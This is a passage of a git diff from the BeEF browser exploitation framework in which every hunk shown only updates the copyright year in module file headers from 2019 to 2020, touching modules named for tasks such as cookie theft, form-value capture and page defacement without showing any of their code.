b/modules/browser/detect_quicktime/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_realplayer/command.js b/modules/browser/detect_realplayer/command.js index 89905e99f..db33c457d 100644 --- a/modules/browser/detect_realplayer/command.js +++ b/modules/browser/detect_realplayer/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_realplayer/config.yaml b/modules/browser/detect_realplayer/config.yaml index d76cf2eab..c6f56fd25 100644 --- a/modules/browser/detect_realplayer/config.yaml +++ b/modules/browser/detect_realplayer/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_realplayer/module.rb b/modules/browser/detect_realplayer/module.rb index 4ef248eff..2b0f6465c 100644 --- a/modules/browser/detect_realplayer/module.rb +++ b/modules/browser/detect_realplayer/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_silverlight/command.js b/modules/browser/detect_silverlight/command.js index 77e3c8cc0..00cab54bb 100644 --- a/modules/browser/detect_silverlight/command.js +++ b/modules/browser/detect_silverlight/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_silverlight/config.yaml b/modules/browser/detect_silverlight/config.yaml index bff6af46b..b8ceb646a 100644 --- a/modules/browser/detect_silverlight/config.yaml +++ b/modules/browser/detect_silverlight/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_silverlight/module.rb b/modules/browser/detect_silverlight/module.rb index 0388d4c74..9005eb7c4 100644 --- a/modules/browser/detect_silverlight/module.rb +++ b/modules/browser/detect_silverlight/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_simple_adblock/command.js b/modules/browser/detect_simple_adblock/command.js index d3426fac1..fe3a23d79 100644 --- a/modules/browser/detect_simple_adblock/command.js +++ b/modules/browser/detect_simple_adblock/command.js @@ -1,4 +1,4 @@ -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_simple_adblock/config.yaml b/modules/browser/detect_simple_adblock/config.yaml index 79d1e4419..405e71d6b 100644 --- a/modules/browser/detect_simple_adblock/config.yaml +++ b/modules/browser/detect_simple_adblock/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_simple_adblock/module.rb b/modules/browser/detect_simple_adblock/module.rb index 796ef31c8..150b394cb 100644 --- a/modules/browser/detect_simple_adblock/module.rb +++ b/modules/browser/detect_simple_adblock/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_toolbars/command.js b/modules/browser/detect_toolbars/command.js index b667acc2e..7403f3260 100644 --- a/modules/browser/detect_toolbars/command.js +++ b/modules/browser/detect_toolbars/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_toolbars/config.yaml b/modules/browser/detect_toolbars/config.yaml index 89436b1fe..4b17911c8 100644 --- a/modules/browser/detect_toolbars/config.yaml +++ b/modules/browser/detect_toolbars/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_toolbars/module.rb b/modules/browser/detect_toolbars/module.rb index fc045c31f..be6fa2baa 100644 --- a/modules/browser/detect_toolbars/module.rb +++ b/modules/browser/detect_toolbars/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_unity/command.js b/modules/browser/detect_unity/command.js index 0e69472dd..409a715d2 100644 --- a/modules/browser/detect_unity/command.js +++ b/modules/browser/detect_unity/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_unity/config.yaml b/modules/browser/detect_unity/config.yaml index 334cb12e9..2772b74de 100644 --- a/modules/browser/detect_unity/config.yaml +++ b/modules/browser/detect_unity/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_unity/module.rb b/modules/browser/detect_unity/module.rb index aaf5973b7..3965a7379 100644 --- a/modules/browser/detect_unity/module.rb +++ b/modules/browser/detect_unity/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_unsafe_activex/command.js b/modules/browser/detect_unsafe_activex/command.js index 8c0edc415..4753b417a 100644 --- a/modules/browser/detect_unsafe_activex/command.js +++ b/modules/browser/detect_unsafe_activex/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_unsafe_activex/config.yaml b/modules/browser/detect_unsafe_activex/config.yaml index d0532f9ef..7b64ffec8 100644 --- a/modules/browser/detect_unsafe_activex/config.yaml +++ b/modules/browser/detect_unsafe_activex/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_unsafe_activex/module.rb b/modules/browser/detect_unsafe_activex/module.rb index ea4ba8615..73c956f09 100644 --- a/modules/browser/detect_unsafe_activex/module.rb +++ b/modules/browser/detect_unsafe_activex/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_vlc/command.js b/modules/browser/detect_vlc/command.js index 80d3d43c2..b49b321c3 100644 --- a/modules/browser/detect_vlc/command.js +++ b/modules/browser/detect_vlc/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_vlc/config.yaml b/modules/browser/detect_vlc/config.yaml index 1bbf21e05..1557c3cff 100644 --- a/modules/browser/detect_vlc/config.yaml +++ b/modules/browser/detect_vlc/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_vlc/module.rb b/modules/browser/detect_vlc/module.rb index 180102aa7..47e2264aa 100644 --- a/modules/browser/detect_vlc/module.rb +++ b/modules/browser/detect_vlc/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_wmp/command.js b/modules/browser/detect_wmp/command.js index eab189b6a..567be96bc 100644 --- a/modules/browser/detect_wmp/command.js +++ b/modules/browser/detect_wmp/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_wmp/config.yaml b/modules/browser/detect_wmp/config.yaml index 652f474d6..f06d29c40 100644 --- a/modules/browser/detect_wmp/config.yaml +++ b/modules/browser/detect_wmp/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_wmp/module.rb b/modules/browser/detect_wmp/module.rb index 4ab7dcf42..9e25ee5c0 100644 --- a/modules/browser/detect_wmp/module.rb +++ b/modules/browser/detect_wmp/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/fingerprint_browser/command.js b/modules/browser/fingerprint_browser/command.js index 74a6da3b7..5d6dacfef 100644 --- a/modules/browser/fingerprint_browser/command.js +++ b/modules/browser/fingerprint_browser/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/fingerprint_browser/config.yaml b/modules/browser/fingerprint_browser/config.yaml index 2a62c04fa..657f427c7 100644 --- a/modules/browser/fingerprint_browser/config.yaml +++ b/modules/browser/fingerprint_browser/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/fingerprint_browser/module.rb b/modules/browser/fingerprint_browser/module.rb index 56253565d..df8ef99e3 100644 --- a/modules/browser/fingerprint_browser/module.rb +++ b/modules/browser/fingerprint_browser/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/get_visited_domains/command.js b/modules/browser/get_visited_domains/command.js index eb7a4b824..223e050e1 100644 --- a/modules/browser/get_visited_domains/command.js +++ b/modules/browser/get_visited_domains/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/get_visited_domains/config.yaml b/modules/browser/get_visited_domains/config.yaml index 3c45b9a8a..515b63c4b 100644 --- a/modules/browser/get_visited_domains/config.yaml +++ b/modules/browser/get_visited_domains/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/get_visited_domains/module.rb b/modules/browser/get_visited_domains/module.rb index 808b51967..c263a8bc5 100644 --- a/modules/browser/get_visited_domains/module.rb +++ b/modules/browser/get_visited_domains/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/get_visited_urls/command.js b/modules/browser/get_visited_urls/command.js index e31379c2a..539eedadb 100644 --- a/modules/browser/get_visited_urls/command.js +++ b/modules/browser/get_visited_urls/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/get_visited_urls/config.yaml b/modules/browser/get_visited_urls/config.yaml index 0a930436f..05069fe77 100644 --- a/modules/browser/get_visited_urls/config.yaml +++ b/modules/browser/get_visited_urls/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/get_visited_urls/module.rb b/modules/browser/get_visited_urls/module.rb index 7cc2d8a49..30d9c0ff2 100644 --- a/modules/browser/get_visited_urls/module.rb +++ b/modules/browser/get_visited_urls/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/ajax_fingerprint/command.js b/modules/browser/hooked_domain/ajax_fingerprint/command.js index ac441dbf7..fc69b1cc3 100644 --- a/modules/browser/hooked_domain/ajax_fingerprint/command.js +++ b/modules/browser/hooked_domain/ajax_fingerprint/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/ajax_fingerprint/config.yaml b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml index d2f4958ba..360701e29 100644 --- a/modules/browser/hooked_domain/ajax_fingerprint/config.yaml +++ b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/ajax_fingerprint/module.rb b/modules/browser/hooked_domain/ajax_fingerprint/module.rb index f3439f78e..6e60fde12 100644 --- a/modules/browser/hooked_domain/ajax_fingerprint/module.rb +++ b/modules/browser/hooked_domain/ajax_fingerprint/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/alert_dialog/command.js b/modules/browser/hooked_domain/alert_dialog/command.js index e22ef3d6a..7d82dcae0 100644 --- a/modules/browser/hooked_domain/alert_dialog/command.js +++ b/modules/browser/hooked_domain/alert_dialog/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/alert_dialog/config.yaml b/modules/browser/hooked_domain/alert_dialog/config.yaml index b0a317ed5..a9df29e84 100644 --- a/modules/browser/hooked_domain/alert_dialog/config.yaml +++ b/modules/browser/hooked_domain/alert_dialog/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/alert_dialog/module.rb b/modules/browser/hooked_domain/alert_dialog/module.rb index bdd5bbc12..e9d600bc1 100644 --- a/modules/browser/hooked_domain/alert_dialog/module.rb +++ b/modules/browser/hooked_domain/alert_dialog/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/clear_console/command.js b/modules/browser/hooked_domain/clear_console/command.js index ba196af8c..3f7afceb2 100644 --- a/modules/browser/hooked_domain/clear_console/command.js +++ b/modules/browser/hooked_domain/clear_console/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/clear_console/config.yaml b/modules/browser/hooked_domain/clear_console/config.yaml index a492a2142..8f026b618 100644 --- a/modules/browser/hooked_domain/clear_console/config.yaml +++ b/modules/browser/hooked_domain/clear_console/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/clear_console/module.rb b/modules/browser/hooked_domain/clear_console/module.rb index 82be41f2b..4d5516280 100644 --- a/modules/browser/hooked_domain/clear_console/module.rb +++ b/modules/browser/hooked_domain/clear_console/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/deface_web_page/command.js b/modules/browser/hooked_domain/deface_web_page/command.js index c5a6d6b62..af089c0e5 100644 --- a/modules/browser/hooked_domain/deface_web_page/command.js +++ b/modules/browser/hooked_domain/deface_web_page/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/deface_web_page/config.yaml b/modules/browser/hooked_domain/deface_web_page/config.yaml index ecdde0728..f2b8c8005 100644 --- a/modules/browser/hooked_domain/deface_web_page/config.yaml +++ b/modules/browser/hooked_domain/deface_web_page/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/deface_web_page/module.rb b/modules/browser/hooked_domain/deface_web_page/module.rb index 47f513f39..14ba46f30 100644 --- a/modules/browser/hooked_domain/deface_web_page/module.rb +++ b/modules/browser/hooked_domain/deface_web_page/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/deface_web_page_component/command.js b/modules/browser/hooked_domain/deface_web_page_component/command.js index 191bbdedc..fdce08335 100644 --- a/modules/browser/hooked_domain/deface_web_page_component/command.js +++ b/modules/browser/hooked_domain/deface_web_page_component/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/deface_web_page_component/config.yaml b/modules/browser/hooked_domain/deface_web_page_component/config.yaml index 96414a832..f52af0173 100644 --- a/modules/browser/hooked_domain/deface_web_page_component/config.yaml +++ b/modules/browser/hooked_domain/deface_web_page_component/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/deface_web_page_component/module.rb b/modules/browser/hooked_domain/deface_web_page_component/module.rb index f4760adbe..bf10c7e75 100644 --- a/modules/browser/hooked_domain/deface_web_page_component/module.rb +++ b/modules/browser/hooked_domain/deface_web_page_component/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/disable_developer_tools/command.js b/modules/browser/hooked_domain/disable_developer_tools/command.js index 594fa7136..42e11f6ca 100644 --- a/modules/browser/hooked_domain/disable_developer_tools/command.js +++ b/modules/browser/hooked_domain/disable_developer_tools/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/disable_developer_tools/config.yaml b/modules/browser/hooked_domain/disable_developer_tools/config.yaml index 11a533277..05b6d73e3 100644 --- a/modules/browser/hooked_domain/disable_developer_tools/config.yaml +++ b/modules/browser/hooked_domain/disable_developer_tools/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/disable_developer_tools/module.rb b/modules/browser/hooked_domain/disable_developer_tools/module.rb index e495c5858..03ea98380 100644 --- a/modules/browser/hooked_domain/disable_developer_tools/module.rb +++ b/modules/browser/hooked_domain/disable_developer_tools/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js index a6eb660fe..d3fe43c84 100644 --- a/modules/browser/hooked_domain/get_cookie/command.js +++ b/modules/browser/hooked_domain/get_cookie/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_cookie/config.yaml b/modules/browser/hooked_domain/get_cookie/config.yaml index e2f3cc927..0a153cfd4 100644 --- a/modules/browser/hooked_domain/get_cookie/config.yaml +++ b/modules/browser/hooked_domain/get_cookie/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_cookie/module.rb b/modules/browser/hooked_domain/get_cookie/module.rb index de4835e62..682498008 100644 --- a/modules/browser/hooked_domain/get_cookie/module.rb +++ b/modules/browser/hooked_domain/get_cookie/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_form_values/command.js b/modules/browser/hooked_domain/get_form_values/command.js index ab8cc5526..64a99c1a9 100644 --- a/modules/browser/hooked_domain/get_form_values/command.js +++ b/modules/browser/hooked_domain/get_form_values/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_form_values/config.yaml b/modules/browser/hooked_domain/get_form_values/config.yaml index db356a3de..9c8c43f94 100644 --- a/modules/browser/hooked_domain/get_form_values/config.yaml +++ b/modules/browser/hooked_domain/get_form_values/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_form_values/module.rb b/modules/browser/hooked_domain/get_form_values/module.rb index e4e7881cd..e14a568d0 100644 --- a/modules/browser/hooked_domain/get_form_values/module.rb +++ b/modules/browser/hooked_domain/get_form_values/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/hooked_domain/get_local_storage/command.js b/modules/browser/hooked_domain/get_local_storage/command.js index 20ef00428..63b5c666b 100644 --- a/modules/browser/hooked_domain/get_local_storage/command.js +++ b/modules/browser/hooked_domain/get_local_storage/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/hooked_domain/get_local_storage/config.yaml b/modules/browser/hooked_domain/get_local_storage/config.yaml index 53b5a4ee6..371808b60 100644 --- a/modules/browser/hooked_domain/get_local_storage/config.yaml +++ b/modules/browser/hooked_domain/get_local_storage/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git 